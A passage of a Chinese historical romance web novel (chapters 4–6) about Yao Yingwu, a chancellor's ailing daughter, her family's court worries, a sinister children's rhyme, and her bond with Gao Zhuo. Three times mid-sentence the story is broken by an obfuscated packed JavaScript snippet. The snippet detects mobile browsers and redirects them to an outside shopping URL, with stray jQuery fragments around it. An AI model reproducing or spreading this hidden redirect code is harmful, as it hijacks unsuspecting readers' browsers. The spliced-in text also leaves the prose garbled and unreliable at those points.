姚映梧看着他的样子忍不住嘴角微扬,常年带着愁绪的眸子也露出浅浅的笑意。 “好。” 三人依依惜别,一前一后离开了城楼。 大观门又恢复了往日的冷清,每一块砖瓦都泛着森森寒气。 蒙面人躲在繁茂的古树后冷眼望着几人惜别的场面,嘴中哼着昨夜听来的童谣:“桓帝丧,幼子伤,长子立,诏书藏。” 等到三人离开城楼,她从树上一跃而下,掐指算了算药丸能压制她的“病”几日。 “看来十天后我们又要见了,就是不知让你生病的人能不能让你活过十天了。” 蒙面人一身黑色武袍融进夜色中,她缓缓靠在墙上,任由城楼砖石的寒意蔓延上她的身体。她摘下帷帽,凝视着天上一轮弦月,慢慢红了眼眶。 4. 来日犹可期 夜幕低垂,天上只孤零零挂着一轮弦月。 青萝端着烹好的茶进屋,见小姐还捧着书坐在桌前发呆。 她倒好茶放下茶杯,唤道:“小姐,茶沏好了。” “哦。”姚映梧心不在焉应了声,端起茶就喝了一口,“嘶。” “小姐!”青萝赶紧接过茶杯放下,“刚烹好的,还烫呢。” 烫疼的舌尖加剧了姚映梧的烦躁,书还停留在刚打开的那一页,她今晚一个字都没看进去。 她合上书走到回廊上,看着天上黑漆漆的,“青萝,今天晚上怎么没有星星呢。” 青萝听后也抬头仔细找了找,“奇怪了,之前天天都能看见的。” 夏日夜里的风带着丝丝凉意,青萝担忧道:“小姐咱们回屋吧,别着凉了。” 两人回屋后没再说话,姚映梧听着蝉鸣又出了神。 云昙快步走进屋子一进来就喊着,“青萝姐,快给我倒杯茶。” 姚映梧回过神,看着她冒失的样子,心里莫名的情绪减轻了许多。 青萝给云昙倒了一杯茶,她拿起茶一口气喝完才说:“大小姐和三少爷说一会就过来。我先去小厨房做糕点,三少爷闹着要吃我做的栗子糕呢。” 望着云昙急匆匆的背影,姚映梧无奈笑着说:“明桉还是小孩子脾气,请他吃桂花糖糕,还要闹着吃别的。” 青萝摇摇头叹了口气说:“三少爷这是心情不好呢。” “嗯?”姚映梧挑眉疑惑道。 “今天老爷叫了三少爷来,问他最近的功课是否用功。结果三少爷答得不好,被老爷骂了一通,还罚跪了一个时辰。” 姚映梧微微蹙眉又松开:“罢了,明桉既然有心情嚷着吃栗子糕,兴许不是大事。” 青萝点点头,“小姐,药凉的差不多了,要现在喝吗?” 她猛然惊觉,从她吃下蒙面人给的药后,自己已经很久没咳了,呼吸间的钝痛不知不觉间也消失了。 她不敢相信折磨了自己快十八年的病突然就好了,是不是她以后能和平常人一样,没有病痛折磨,不用喝药,再不用担心睡着了可能会醒不过来。 她难以置信,声音都有些发抖,“青…青萝,我…我不用喝药了。” “不喝药怎么行,昨夜还咳血了呢。”门口处传来温柔的声音,带着不容拒绝的强硬。 姚映梧知道是长姐来了,猜她误以为自己又不想喝药,但不能跟她说蒙面人给她药的事。 姚映梧讪笑道:“长姐,我等吃完糕再喝。明桉呢,怎么没见他跟来。” 姚昭桦脸色才稍稍缓和,听她问起明桉又不由摇了摇头,“最近父亲对明桉很是严格,令他每日都要读够五个时辰书才行,他这才没跟我一起来。” 姚映梧长叹一口气,“父亲现在身为丞相,既要为朝廷尽忠效力,又要不辱没祖上荣光。只可惜我身体不好,不能光耀姚家。” 姚昭桦浅笑两声,轻抚着姚映梧没有血色的脸颊,“这些不重要,阿缘只要能好好的,一直在姐姐身边我就心满意足了。” 姚映梧亲呢地趴在姐姐腿上,像小时候一样撒娇。 姚昭桦摸着她的脑袋,柔声说:“阿缘,娘亲走得时候叮嘱我,说你身体不好,要我多照顾你,阿缘,你一定要让长姐照顾你一辈子好不好。” 姚映梧哽咽起身抱住姚昭桦,“其实我昨日吃过霍大夫开的药后身体好多了。你看我今天都没咳了。以后,阿缘也能照顾长姐了。” 姚昭桦紧紧回抱住自己唯一的妹妹,心里五味杂陈,阿缘病了这么多年,看了无数的大夫,吃了数不清的药,终于要好起来了。 姚映梧替长姐擦去眼泪,姐妹二人泪眼婆娑的对望,破涕为笑抱在了一起。 “真是气死我了。”姚明桉推门而入,满脸怒意喊道。 姚映梧扭过头擦干眼泪说:“我听说你今天被父亲罚了,是怎么回事。” “我也纳闷,我功课不努力也不是一天两天了,而且大姐姐还刚被册封了贤妃,父亲正高兴呢,哪会顾得上我。后来我一打听才知,原来是今日早朝定远侯的女儿肖遥领军平定了外邦闼鞑的敌袭的消息传回京,她不仅俘虏了三百余人精锐先锋还斩杀了闼鞑大王子拓跋恃,被陛下亲封云麾将军。” 姚映梧大吃一惊,肖遥好像跟她差不多大吧。不怪父亲生气,与肖遥一比,她也难免自惭形秽。 姚映梧喝了口面前的茶平复了下失落的心情,道:“这跟父亲罚你有什么关系啊,难道罚你跪着,陛下还会给你封官不成。” “二姐姐又取笑我。定远侯与父亲政见相悖,还从不与父亲结交。如今父亲看他肖攘镰的子女都那么有出息,回家再看见不争气的儿子肯定不满。” 姚昭桦面上闪过一抹惊讶之色,“定远侯的长子战功赫赫被封振威将军,如今他女儿也被册封将军,肖家如今在邺朝真是风光无两啊。” 姚明桉应和着点头道:“前些年外邦先狄人在北边建立新朝闼鞑,灭利鹘,夺鄢云五州。后来他们野心愈发膨胀,甚至发兵攻打邺朝和兰诏。还好咱们大邺有有定远侯和忠勇侯带兵出战,不然岂不是和兰诏一样了。只可惜,忠勇侯重伤难再领兵后,陛下越发倚仗肖家了。” 姚昭桦面色凝重,“当初利鹘、兰诏和邺朝三国为了鄢云十州战争不断。作为进入中原腹里地区的最后防线,整整三年才由利鹘占五州,邺朝占滕州、蔺州两州,兰诏占三州得以划分。如今兰诏做了邺朝的附属国,利鹘灭国,以闼鞑的野心,肯定不会就此作罢。一旦战事起肖家只会更得重用,到时候太子之位怕是……” 姚明桉气愤说:“要不是咱们攻下盛安导致国库空虚,兵马伤亡极大,不然鄢云十州早就所属我们了。岂会像现在,让闼鞑人随意祸乱我大邺边境。” 姚映梧摩挲着茶杯疑惑问道:“长姐,如今大敌当前,肖家怎会处处与父亲为难?” 姚昭桦抬手捏了捏妹妹的脸,“这是父亲要操心的事,你就别想这么多了。好好休息保重身体才是。” 云昙进屋的脚步声打断了三人,她端着栗子糕和和羹居送来的桂花糖糕说:“大小姐,二小姐,三少爷,糕点做好了。” 姚明桉把刚才的恼怒抛之脑后夸赞道:“香糯可口,带着栗子的香甜,太好吃了,云昙你手艺真好。“ 姚昭桦吃着桂花糖糕无奈道:“重九节还没到,你就嚷着要吃栗子糕,云昙是你二姐姐身边的,天天还要照顾你。” “谁让云昙做的栗子糕这么好吃,全盛安都没有人能做出来这个味道,就连和羹居的栗子糕都比不上云昙做得呢。” 姚映梧吃完桂花糖糕笑着说:“云昙是兰诏人,做的味道当然和大邺不一样。” 姚昭桦又吃了一块糖糕,怀念道:“和羹居的桂花糖糕做的还是这么好吃,和小时候娘亲做的味道特别像,只是,等我后入宫就好长时间吃不到了。” “我等长姐回来再一起吃。”姚映梧认真地说道。 姚昭桦温柔望着妹妹粲然一笑,思来想去还是嘱咐两句比较好,“阿缘,明桉,这次陛下病得的蹊跷,连太医们都束手无策。听父亲说,是一个兰诏来的男子献上奇药才治好陛下,陛下还破例封他为御守府统领,此人如今十分得陛下信任。他来历不明,你们两个一定要小心行事,二皇子还有姑姑不容许任何差池,姚家,也是一样。” 姚明桉郑重地点点头,“我明白的。 姚映梧附和着点头,没再说话。 姚明桉吃着栗子糕和两位姐姐大吐苦水,说着自己今天受罚的事。一时间屋内只剩下他抱怨和姚昭桦安慰他的声音。 高府内,夏日的夜晚伴着蝉鸣,高琢躺在院子里乘凉。 陛下赏赐给兄长的高府,院子里有一处荷花池,晚上月光洒下来,映衬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067069|195160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得荷花更加高洁清雅。 高琢闻着荷花的清香,心中窃喜,还好今天有和兄长吵架,不然他也不会误打误撞,去了城楼。然后,遇见她。 高琢看着天上的弦月,纤瘦的月亮蒙着白色的薄雾高高的挂在天上,嘴角不自觉扬起一抹浅笑。 他坐起身,胸口处被蒙面人打伤的地方传来钝痛,虽然只是皮外伤,但眼前的剑光却怎么也消散不去。 如果不是蒙面人并无杀心,今夜自己肯定难逃一死。自己死了倒不要紧,可要是姚姑娘出了什么事…… 高琢懊悔的捂住脸,自己怎么能忘记师父的教诲,幸好她没事,不然自己真是罪该万死。 高琢握紧拳头,在心里暗暗发誓,绝不能再让今天的事重演。 “小琢你怎么样了,伤得重不重。” 高琢被吓了一跳,慌张地起身道:“尘…尘起哥是你啊,我…没什么事,都是小伤不要紧的。” 尘起瞧见他腰间挂的牡丹纹玉佩是女子用的样式,勾起嘴角假装没看到,“没事就好,怎么受的伤啊。” “尘起哥我真没事,就是…就是…就是自己摔了一跤,不严重。” 尘起看他红透的耳尖,打趣道:“自己摔了一跤?这是在哪摔得跤啊,还能捡到这么漂亮的玉佩,明天我也去摔一跤。” “尘起哥,你就别取笑我了,这个…是别人送给我的。” “别人送的?这才刚来盛安,就收到姑娘送的东西了?” “尘起哥你别乱说,姚姑娘她,她没这个意思。” 高琢嘴上解释着,心里却泛起丝丝酸涩。在家乡,若男女之间互有情愫相结白首之约,需要女子赠佩男子送钗。 可大邺没有这样的风俗,她也只是无心之举。明明都清楚,可自己心里为什么还是失落…… “能在盛安这地方交到朋友很不容易啊。”尘起欣慰地拍拍高琢的肩膀转而又琢磨起来,“姚姑娘,不会是…” “就是丞相姚尺书的女儿。” “什么!姚尺书的女儿!”尘起没想到高琢居然和姚尺书的女儿搅和到一块去了,“你们怎么认识的?” “今日在大观门见过一面,说了几句话而已。” 尘起不免担忧起来,“小琢,你该不会是……” 尘起刚问了个头就没敢再问下去,他心中默念,不会的不会的,他们两人才第一次见,而且姚家的姑娘可是高门贵女,肯定看不上小琢的。 高琢盯着荷花池的眼神有些飘忽不定,他嗫嚅着说:“我…她……” 尘起的心沉了沉,严肃道:“小琢,御守府是陛下的耳目,说难听点就是陛下最信任的爪牙,来帮他控制朝中官员和打探朝堂的风吹草动。姚家也是士族,如今陛下早就动了心思,要一个一个除去……” 尘起自知失言,改口说道:“你兄长与姚丞相早晚会是对手,按他的个性,不会让姚相挡住他的路,你好好想想吧。”尘起知道现在告诉高琢这些很残忍,可他只能如实告诉他。 高琢沉默地垂下头,哑声道:“今天认识姚姑娘后,我以为我在盛安也有朋友了,我应该不会再想家了。我会和兄长一样,在盛安开始新的生活了。可我现在明白了,尘起哥。” 尘起张了张嘴不知道说什么,只重重拍了一下高琢的肩膀后离开了,留他一个人静一静。 高琢独自坐在荷花池旁捧着玉佩摩挲了许久,直到夜深才回房休息。 夜色深沉,万籁俱寂。 盛安的一条小巷巷口传来一阵咕咕的鸽子叫声。 鸽子在树下吃着谷子,腿上的纸条已经被取下。不远处的地上,火蛇正吞噬着纸条上的墨迹,“东风已至,静候佳音。” 深夜里,乍然响起孩童的声音惊扰了鸽子,它直直飞入夜色直至消失不见,只留下孩子清脆的童谣声。 “桓帝丧,幼子伤,长子立,诏书藏。” 5. 缘分难解 天光透亮,晨雾消散。 姚映梧今日起得格外早,正倚在回廊的栏杆上神游。阳光穿过回廊的雕花窗棂斜照在她豆绿色的罗裙上,打下斑驳的光影。 微风拂过,庭中几株梧桐的叶子应和着风声沙沙作响。偶有大风,将庭中花圃内娇弱的早菊吹落,花瓣顺着风滚落到姚映梧的裙边。 院子里专职清扫落花的小丫鬟忙赶来收拾,将散落的花瓣都堆到一处,埋了起来。 姚映梧直勾勾瞧着小丫鬟埋花的动作,叹息一声。 她以前最害怕秋冬交际之时,草木萧疏,万籁俱寂,她一看到这些萧瑟的景色就会想到自己已经沉疴难起,从而每日郁郁寡欢,愈加缠绵病榻。 母亲得知后天天来劝解她,成效却甚微。没办法,母亲只能多派来几个杂役丫头,吩咐她们每日清扫,以防牵动她的情绪。 青萝端着熬好的药出来,见小姐望着埋花丫鬟的背影一动不动,解释说:“今年的花开得比往常早,也更娇嫩些,风大一点就吹落了。我看这些花还没叫人欣赏就落了,实在是可惜,就让她们把落花埋在花圃里,也不算辜负了。” 姚映梧垂下头显得意兴阑珊,低声说:“还是你细心,想得周到。” 青萝听着小姐恹恹的声音心下了然,小姐这是有心事。 “这些还都是刚进府的时候先夫人教给我的呢。因我和大小姐一般大,我一进府夫人就看上了我,把我留在身边陪伴大小姐,那时候小姐还在夫人肚子里呢。” 青萝讲着顿住片刻,眼里闪过泪光,“我还记得夫人怀小姐的时候天天和大小姐抱怨,说小姐在肚子里可调皮了,闹得她吃不下睡不好。夫人只有在花圃旁睡,小姐才不闹了。所以夫人每天都在花圃旁教我认花养花,有时候大小姐也闹着要听,可每次只听一会就睡着了。夫人总趁大小姐睡着,叫着我一起,把她做好的桂花糖糕偷偷吃完,然后看大小姐睡醒后大哭。” 姚映梧听着青萝形容的场景,脑中出现一幅娘亲怀着她教青萝照顾花圃,长姐在一旁的情景,嘴角不受控制地勾起来。 青萝见小姐嘴角含笑,才开口问道:“药晾好了,您要现在喝吗?” “现在什么时辰了?” “巳正了” 从昨晚到现在,她再没咳过,又听青萝说起娘亲,姚映梧觉得自己应该和娘亲说自己病好的事。 她很高兴,可心底却有一种说不上来的怪异让她莫名的心慌。 姚映梧迟疑片刻,还是接过青萝手中的药喝下半碗,“青萝,陪我去祠堂给娘亲上柱香吧。” 上完香,姚映梧心里的烦闷仍未消。她想起长姐常说娘亲生前会去法因寺替她求平安符,她犹豫再三,还是决定去一趟法因寺,替娘亲去还愿。 姚映梧存了私心,想让云昙跟着自己,“青萝,喝了霍大夫开的药我的病好了不少,你再去济世堂开几副药回来,去法因寺还愿就让云昙陪我去吧。” 青萝应了声,叫来了云昙。姚映梧特意吩咐好车夫套了辆双辕马车,三人便朝着法因寺的方向去了。 法因寺外因为有人布施十分热闹,聚集的人群不停向布施的摊位涌去。 “二小姐,前面有人布施太多人了,马车不好走了。”车夫驾着马停在巷口,额头上的汗涔涔地流着。 姚映梧掀开车帘看了一眼,烈日当空,许多百姓都在等着布施,将法因寺门前不算宽敞的路都堵死了。 法因寺原是前晋建朝时修建的皇家寺院,后几经战乱,院墙和寺内的园林也在战乱中坍塌损毁。桓帝夺下盛安后国库不充盈,没有多余金银可以拨给法因寺重建,是盛安的世家捐献了香火钱才使法因寺得以重建。 老住持感念香客们的善行,只修补了院墙,剩余一大半的钱将原属前晋皇室来祭祀斋戒的住处改建了慧慈院,救助城内的孤儿和无家可归者。 也因此法因寺门原本宽敞的大路一分为二,建了慧慈院的大门,没了原先皇家寺院的气派。 “就停在这吧。”姚映梧放下车帘柔声说道。 云昙伸出手来拉住了姚映梧的手,“小姐,你的身体不要紧吧。” 小姐的手还是和以前一样冰凉,让她不由有些担心。姚映梧抬眸看着她有些担心的神情,笑道:“云昙,你现在怎么像青萝一样爱操心了。放心吧我现在身体好多了。 两人下车后避开等着布施的人向法因寺走去。人群熙攘,除了前面的人守规矩排队,后面大多都三五个聚在一起,七嘴八舌说着闲话。 姚映梧虽无心偷听可她与那些人离得太近,他们嘴中的闲谈一字不落的进了她的耳朵。 “这天儿这么热,要不是给的和羹居的酥山,我才不来呢。” “我还听说还是什么府的统领亲自来这布施呢。” “什么!统领?听名字还是个大官呢!他这官还真不错,和羹居的酥山可不便宜……” 姚映梧听到御守府统领亲自布施的消息暗自松了口气,长姐嘱咐她不要和御守府的人来往,她害怕再见到高琢,来法因寺还愿她最怕的就是碰见他。还好,来的是他兄长。 “我听说他是给陛下献药才得的官,陛下还给了好多金子呢。” “要我说陛下这病就是鬼魂作祟,说不定真是童谣说的那样,不然怎么会突然病倒呢。再说了什么药宫里没有啊,要是献药就能当官,我早去献了。” “肯定是有不干净的东西作祟。我远方表叔是更夫,有一次路过大观门就看见过鬼魂。就在屋顶上飞来飞去的,一眨眼就没影了。他一开始还以为是眼花了,谁知道他昨夜又撞上半夜小鬼唱童谣,估计啊陛下的皇位真…” 那人没说完就被人打断,“慎言啊,慎言,要杀头的。” 姚映梧还想再听听,那几个人却噤了声,开始猜测和羹居哪个口味的酥山更好吃。 姚映梧知道大观门的黑影是蒙面人,可他们嘴里说的童谣是什么,半夜童谣和陛下还有高琢的兄长又是什么关系。 姚映梧一边走一边想,转眼就走到了法因寺的大殿。 大殿中央的的佛像庄严又不失慈悲,殿内只有零星几位香客。姚映梧持香走到蒲团前闭目跪拜,替娘亲来还愿进香。 姚映梧还完愿转头看云昙站在她身后盯着地面出神。她刚要叫云昙,余光扫到不远处一位身穿雪青色襦裙的女子正闭目合掌参拜,于是赶忙噤声。 姚映梧走到云昙身边轻声问道:“怎么了云昙,有心事?从刚刚你就一直没说话。” 云昙摇摇头,“没什么小姐,我就是…没什么事的。” “那,一会儿你陪我去打听一下童谣的事,等回府以后你就回去歇着,要是还不舒服,就告诉青萝,让她请个大夫给你瞧瞧。” “小姐别担心我没生病,就是…就是看见一个人,很像我儿时的故友……” 姚映梧心疼地摸了摸云昙的头,“没生病就好,等回去你就和青萝到母亲那告假几天,这几天就让青萝带着你在盛安逛逛。” 云昙感激道:“多谢小姐关心,云昙家虽在兰诏可已经没有在世的亲人了,突然看见像同乡的人难免有些感慨。我没什么事,而且要是青萝和我都告假,谁来贴身照顾小姐啊。” “听青萝说她兄长如今在济世堂做学徒,他们兄妹这些年也攒了钱买了处小宅子,你就和青萝回家去看看,不用担心我。只有你知道我病好的实情,正好你帮我拖住青萝,等她回来再告诉她。这样既不会暴露蒙面人我也不用再假装喝药了,好不好云昙。” 姚映 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067070|195160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梧担心云昙思乡过度而成疾又怕云昙顾虑自己不肯休息,只好找个借口哄骗云昙。 云昙听后想了好一会才说好,姚映梧放下心来,两人便开始去打探那些人说的关于童谣的事。 法因寺外,原本熙攘的人群已经尽数散去,只剩下寥寥几人蹲在慧慈院门口吃着酥山。 姚映梧瞟了眼坐在慧慈院门口的几人,大多是女人和孩童。当时那几人,听声音,都是身强体壮的年轻男子。 “云昙,你有没有听见有人在谈论童谣和陛下。”姚映梧凑到云昙耳边悄声问道。 云昙眉头紧锁仔细回想了一会儿还是摇头道:“小姐,这么大的事我要是听到肯定有印象的,可我完全想不起来。许是我看见认识的人,一时愣了神没听见。” 姚映梧落寞的低下头,看了是找不到那几个人了。 “姚姑娘,云昙姑娘,咱们又见面了。” 高琢从她们二人刚走出法因寺时就注意到她们了。 他怕她们离开,赶紧拿了份酥山快步走过来。 姚映梧垂眸,用手指搅着手帕,她还没想好该怎么面对他。 高琢盯着姚姑娘的背影兴冲冲跑过来,耳边突然回荡起昨夜尘起哥的话。 他脚步猛然顿住,见到她太开心了,自己都忘记如果和她走太近不仅会威胁兄长的仕途,还影响她的父亲。 姚映梧听着高琢越来越近的脚步心跳越来越快。他能不顾自己的性命拼死救她,可自己却不得不因为姚家的原因而疏远他。 父亲曾是当今天子的伴读最得陛下欢心,在陛下还是太子时就是他的亲信。陛下生性多疑,无论他如何信任父亲,都不可能坐视自己臣子的女儿与自己视作耳目的御守府统领的弟弟关系亲近而不理。更何况,姑姑还是二皇子妃。长姐说得对,姚家经不起任何变故。 姚映梧下好决心僵硬着转身面向高琢,他端着一碟酥山愣愣地站在不远处。 高琢看着面前的酥山,想着兄长一路的不易。为了做好统领一职,他每日巡查完守卫都是半夜了,还要勤加练武。大多时候,每晚大多都在御守府值守,处理公务。 今日是为忆欢补办的生辰宴,晚上兄长又要回去值守,没办法陪忆欢过生辰。嫂嫂刚过世不久,可怜的忆欢才八岁,过生辰父母都没法陪伴。尘起哥说的对,自己帮不上兄长的忙,但不能毁了他好不容易得到的前途。 他咬紧牙,可怎么也下不去决心不再和姚姑娘来往。他暗暗骂了自己一句,从酥山上挪开眼,一抬头正撞上姚姑娘含水的眸子里。 他缓步走到姚姑娘面前,张了张嘴不知道说什么,继而讷讷道:“姚姑娘我和兄长在这附近布施,我听说和羹居的酥山是盛安最好吃的,你要不要尝尝。” 高琢说完就反应过来,在心底骂自己不争气。姚姑娘就是盛安人,怎么会没吃过和羹居的酥山,自己还叫她尝什么。 姚映梧接过酥山尝了一口,她心想,只是吃酥山而已没什么的,她以后不会再和他来往了。 高琢盯着她吃酥山,攥紧拳暗暗对自己说,只是给姚姑娘吃一份酥山而已,没什么的,他以后…就偷偷看看她,躲得远远的。 姚映梧细细品味着酥山化在口中的甘甜,她以前只跟长姐还有明桉一起吃过酥山。 这是第一次跟别的人一起吃。 等姚映梧吃完最后一口高琢才依依不舍地别开眼,“姚姑娘,那个我…我还要替兄长布施呢,我先走了。” “等等高琢,我…我很久没吃过和羹居的酥山了,多谢。” “姚姑娘喜欢就好。” “你以后别叫我姚姑娘了,就叫我的名字,映梧。” 高琢直直望着姚映梧的眼睛,“好。那,以后我就叫你映梧。” 6. 言不由衷 高琢愣愣地盯着姚映梧白净的脸庞,却怎么也没法开口说离开的话。 他生怕下次再见时两人会变得生分,更怕两人会再也不见。 姚映梧背对着太阳,眼前站着的高琢双眼还如初见般澄澈。 在日头底下站久了她手心出了薄薄一层冷汗,她握紧拳又松开。以后不再见面的话在腹中百转千回最终还是没能说出口。 城楼之上,他极力解释自己没有不怀好意接近她,甚至在她想发毒誓时拦住了她,替自己和云昙发了毒誓。 他拿出一颗赤诚之心对待她,自己不得已的疏远肯定会让他伤心。 正午,烈日高悬,两人站在街边久久凝望着彼此,一时间竟相对无言。 因高家小姐生辰,高统领在法因寺门前布施酥山的消息很快传开了,城中不少百姓争先恐后来这等待,迫不及待的要尝尝盛安最有名气的酥山。 因为要布施而临时支起来的摊子瞬间被挤满,制作酥山的人手不停加快速度,但和法因寺门外挤满的百姓相比还是口多食寡。 法因寺外冒着炎热来等待酥山的人越来越多,有的是来讨一碗和羹居的酥山,有的是来瞧一瞧御守府的新任统领。 高琢担心姚映梧被来往的人群挤到,将碟子交给身后的小厮后指向巷口说道:“映...映梧,咱们去那边说话吧。” 姚映梧应声,跟着高琢去往不远处巷口。 巷口有一颗老槐树,树上的花开得正盛。风一吹花就会落了一地,被步履匆匆赶路的人们踩碎。 靠近树下的青石板有人放了粟米,还有鸟儿吃饱后留下的几处痕迹。 姚映梧小心的看着脚下走过的青石板,衣服是入夏时舅舅托人从滕州送来的,她和长姐一人一条。 上面的绣样,都是娘亲在闺中时最喜欢的绣娘所绣,她格外爱惜。 高琢察觉她的小动作,感叹自己所为实在是有些不妥帖。他环顾四周,就近寻了处干净的地方让映梧落脚。 等两人在树下站定,云昙没打扰悄悄退到不远处等着。 “映梧我......”高琢话还没出口,姚映梧就冲他摆手打断了他的话。 “不打紧的,只是这衣服是舅舅送的,对我来说和那些衣服不一样的。” 高琢十分诧异,“映梧你怎么知道我想说的话。” 姚映梧含笑着在脸上比划两下说:“你啊,都写在脸上了。” 姚映梧问道:“话说你和兄长怎么会在这布施?” “兄长告诉我陛下因为献药赏赐了他许多金银,他想这次借着忆欢的生辰宴买些和羹居的酥山分发给众人。他说能这些身外之物能让慧慈院中的无家可归之人和年幼失孤的孩子尝尝盛安最好吃的消暑之物,也算是功德一件了。” 姚映梧心中升起一丝惊诧,看来他兄长不像百姓议论的那样不堪。 “高琢!做酥山的人手不够赶紧回来帮我。” 高琢循声望去,尘起神色不悦正双手环胸站在离两人不远处的地方。 他对上尘起的眼神有些心虚,赶忙回头对姚映梧说:“映梧,今日布施事务繁多我得去忙了。我刚刚路过慧慈院的后院,见墙边的芙蓉开得可好了,你要是得空记得去瞧瞧。” 高琢一说完,一步三回头地走回尘起身边去了。 姚映梧和尘起打了个照面,她见此人眼神锐利目藏凶光,应是常年习武之人。姚映梧盯着两人的背影暗暗思忖,这个人眼神中的煞气太过,目光中对她隐隐带些防备。 云昙快步上前试探着问道:“小姐我们要不然也去赏花吧。” 姚映梧笑道:“知道你喜欢芙蓉花。正好咱们赏完花,再去一趟和羹居买些桂花糖糕吃。” 高琢恋恋不舍地回头看了姚映梧最后一眼,扭过头苦着一张脸。尘起瞧着他没出息的样子深深叹了一口气。 “你们两人这是怎么了?” 高羡忙完见尘起和高琢都不在有些担心,便离开摊子出来寻他们。好不容易找见两人,却见他们一个满脸伤心,一个满脸怒气。 高琢幽怨地撇了尘起一眼,尘起更是没什么好脸色直直瞪了回去。槐树下,一抹倩丽纤弱的身影朝慧慈院方向走着,高羡注意到那个女子,挑了挑眉问道:“这位姑娘是?” 尘起眸中厉色一凝,快速挡住了高羡的视线。 “是小琢的朋友。” 高羡对上尘起的眼神打趣道:“小琢的朋友?那师弟你紧张什么呀。” 高羡又呵斥高琢说:“姚姑娘是相府的千金,你怎能如此怠慢!” 高琢眼底闪过一丝欣喜,“兄长,你不介意我和映…我和姚姑娘来往?” “我怎么会介意。要是你们两个日后能携手一起,这是我高家的荣幸。” 高琢又惊又喜,没细想兄长口中的一起指的是什么。尘起听后也微蹙着眉,不知道在想些什么。 高羡一把揽住他们二人的肩,“其他人都忙坏了,你们两个也别偷懒,跟我一起去帮忙。” 说罢,拉着他们回布施的摊前忙碌了。 姚映梧和云昙走在后院的小路,芙蓉花开得娇艳,让蝴蝶都流连其间。看着朵朵芙蓉,姚映梧心生喜爱之情,“之前在病中甚少有心情赏花,如今看来真是错过了不少好景致,改日定要让青萝在花圃多种些花。” 云昙应和道:“何止是看花啊,小姐如今病好了,我和青萝姐姐也能陪着小姐多出去转转了。盛安可是大邺的国都,好玩的地方一定很多。” “到时候我病好的事就能说出来了,也就不用有那么多拘束了。” 两人一路谈笑走到了慧慈院后的园林。 云昙震惊地停住脚步,眼前的□□塌了一半,地上都是碎石瓦砾。院内野草离离,前人入园的小路不知何时被掩埋,只剩后人随意走踏的痕迹。 “小姐,这儿是慧慈院还是法因寺,怎么荒废成这样。” “都不是,这是前晋的皇家园林,原本是要重修的。” 姚映梧望着满目的荒芜答道:“当时盛安之战襄武皇后的唯一的幼妹战死令她悲痛欲绝,于是拿下盛安后,先帝便带皇后来这散心。谁料当夜襄武皇后腹中的孩子突然小产,她也因此伤了身体,终生未有子嗣。后来先帝寻了相卜署的人占卜,说与大观门死去的晋怀帝有关,他怨气难平才大肆残害大邺皇嗣,陛下一怒之下才关大观门也废了此处的园林。” 云昙没想到还有这样的缘故,“残害皇嗣?这是真的吗小姐?” 姚映梧不敢多想,摇头道:“或许是这样吧。先帝的确子嗣凋零,皇子们除了战死的二皇子和早殇的两位公主,如今在世的也只有陛下和齐王殿下了。” “难道真是前晋的怀帝鬼魂报复吗?不仅是先帝,连陛下都子嗣单薄。后宫妃嫔所出七位皇子和四位公主接连夭折,现如今只剩下二皇子、五皇子和七皇子了。可是小姐不是跟我说,世上没有鬼吗?” 云昙一直认为小姐说的话都是对的,可小姐之前明明说世上无鬼,如今怎么改口了。 云昙纯粹的语气问得姚映梧心虚,此间内情她虽不知晓但也明白肯定不简单。襄武皇后是肖家女,定远侯又手握兵权,她不敢深想…… 姚映梧随手理了下耳边的碎发,用长姐常对她的招数搪塞道:“你才十五岁,关心这些麻烦事做什么。花看得也差不多了,咱们买完糕就回府去吧。” 云昙撇撇嘴道:“小姐又敷衍我。” “等下去和羹居路过你爱吃的那家酒楼,再给你买一道最爱的乳酿鱼好不好?” “多谢小姐,我都快一个月没吃过了。那,咱们快些走吧。”云昙立刻眉开眼笑将疑惑都抛之脑后,脚步都加快了几分。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067071|195160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >姚映梧听着云昙加快的脚步窃笑几声,很快两人原路回到了法因寺门外。 毗邻慧慈院的摊子忙得席不暇暖,姚映梧端详着高琢忙碌的身影,他像是感觉到了她的目光笑嘻嘻地抬头看过来。 高琢手上帮忙磨着冰,口型却在问她,花好不好看。 姚映梧冲他点头,回他道,不仅好看,花还很香。 云昙惦记着那盘乳酿鱼,在身后轻轻叫了声小姐,小猫一样的叫声令姚映梧忍俊不禁。 “走吧,云昙。” 从巷口出来的人多数都领了酥山,一路都有人称赞新上任的御守府统领,让他们这些寻常百姓在夏日里也能吃上和羹居的酥山。 “小姐小心!” 云昙连忙将小姐拉至身侧,她动作虽然快,身前那女子手中的糖画还是碰到了小姐的披衫,糖渍沾在缃色的外衣上格外显眼。 云昙怒目圆睁,瞪着眼前两个陌生的女子。 